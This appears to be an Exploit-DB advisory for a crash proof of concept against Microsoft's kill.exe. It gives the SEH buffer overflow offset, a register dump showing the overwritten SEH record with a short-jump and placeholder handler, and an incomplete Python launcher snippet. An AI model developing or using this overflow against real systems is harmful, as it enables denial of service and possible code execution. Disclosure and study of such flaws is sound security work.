Microsoft Process Kill Utility kill.exe 6.3.9600.17298 - Crash PoC

ID EDB-ID:40073
Type exploitdb
Reporter hyp3rlinx
Modified 2016-07-08T00:00:00


Microsoft Process Kill Utility (kill.exe) 6.3.9600.17298 - Crash PoC. Dos exploit for windows platform

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[+] ISR: ApparitionSec


Microsoft Process Kill Utility "kill.exe"
File version: 6.3.9600.17298

The Kill tool (kill.exe), a tool used to terminate a process, part of the
WinDbg program.

Vulnerability Type:
Buffer Overflow

SEH Buffer Overflow @ about 512 bytes

Vulnerability Details:

Register dump

'SEH chain of main thread
Address    SE handler
001AF688   kernel32.756F489B
001AFBD8   52525252
42424242   *** CORRUPT ENTRY ***

001BF81C   41414141  AAAA
001BF820   41414141  AAAA
001BF824   41414141  AAAA
001BF828   41414141  AAAA
001BF82C   41414141  AAAA
001BF830   41414141  AAAA
001BF834   909006EB  ĂŤ  Pointer to next SEH record
001BF838   52525252  RRRR  SE handler  <================
001BF83C   90909090
001BF840   90909090

Exploit code(s):

Python POC.


pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)

Disclosure Timeline:
Vendor Notification: June 24, 2016
Vendor reply:  Will not security service
July 8, 2016  : Public Disclosure

Exploitation Technique:

Severity Level:

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